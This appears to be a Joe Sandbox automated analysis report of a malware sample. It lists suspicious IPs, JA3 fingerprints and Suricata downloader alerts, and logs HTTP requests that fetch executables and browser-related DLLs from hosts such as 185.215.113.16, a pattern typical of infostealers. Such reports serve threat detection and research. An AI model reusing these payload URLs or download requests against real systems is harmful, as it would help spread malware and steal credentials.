Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49989 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49992 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50041 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C69CC60 PR_Recv,

4_2_6C69CC60

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Wed, 23 Oct 2024 22:45:40 GMTIf-None-Match: "67197c94-1b9c00"
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhidden equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/' equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "https://www.facebook.com/Z equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://libs.coremetrics.com/eluminate.js://static.chartbeat.com/js/chartbeat_video.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://.imgur.io/js/vendor..bundle.js://pagead2.googlesyndication.com/tag/js/gpt.js*://c.amazon-adsystem.com/aax2/apstag.js://www.google-analytics.com/analytics.js*://cdn.adsafeprotected.com/iasPET.1.js://.moatads.com//moatheader.js*://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://adservex.media.net/videoAds.js://static.chartbeat.com/js/chartbeat.js://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//sdk.js://www.googletagservices.com/tag/js/gpt.js://static.criteo.net/js/ld/publishertag.js://static.adsafeprotected.com/iasPET.1.js://js.maxmind.com/js/apis/geoip2//geoip2.js://track.adform.net/serving/scripts/trackpoint/://connect.facebook.net//all.js://www.everestjs.net/static/st.v3.js://cdn.branch.io/branch-latest.min.js://pub.doubleverify.com/signals/pub.js://auth.9c9media.ca/auth/main.js://www.rva311.com/static/js/main..chunk.js://www.google-analytics.com/plugins/ua/ec.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js://ssl.google-analytics.com/ga.js://.imgur.com/js/vendor..bundle.js*://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com//Serving/unavailable:FEATURE_FAILURE_DCOMP_NOT_ANGLE equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE30134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/addons/addon-manager-startup;1://www.google-analytics.com/plugins/ua/ec.js://connect.facebook.net//all.jswebcompat-reporter%40mozilla.org:1.5.1://connect.facebook.net//sdk.js*://web-assets.toggl.com/app/assets/scripts/.js://s0.2mdn.net/instream/html5/ima3.js://www.google-analytics.com/gtm/js*://ssl.google-analytics.com/ga.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://.imgur.com/js/vendor..bundle.js://www.everestjs.net/static/st.v3.js*://cdn.branch.io/branch-latest.min.jsFileUtils_closeSafeFileOutputStreampictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/play.svgwebcompat-reporter@mozilla.org.xpi://c.amazon-adsystem.com/aax2/apstag.js://track.adform.net/serving/scripts/trackpoint/://static.chartbeat.com/js/chartbeat_video.js://pub.doubleverify.com/signals/pub.js*://static.chartbeat.com/js/chartbeat.jshttps://smartblock.firefox.etp/facebook.svg://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.js://auth.9c9media.ca/auth/main.js://www.rva311.com/static/js/main..chunk.js://libs.coremetrics.com/eluminate.js://www.google-analytics.com/analytics.js*://www.googletagmanager.com/gtm.jsFileUtils_closeAtomicFileOutputStreamexecuteIDB/promise</transaction.onerror equals www.facebook.com (Facebook)
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://log equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=251f0d117411d312b07a5d1e; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 23 Oct 2024 23:10:14 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
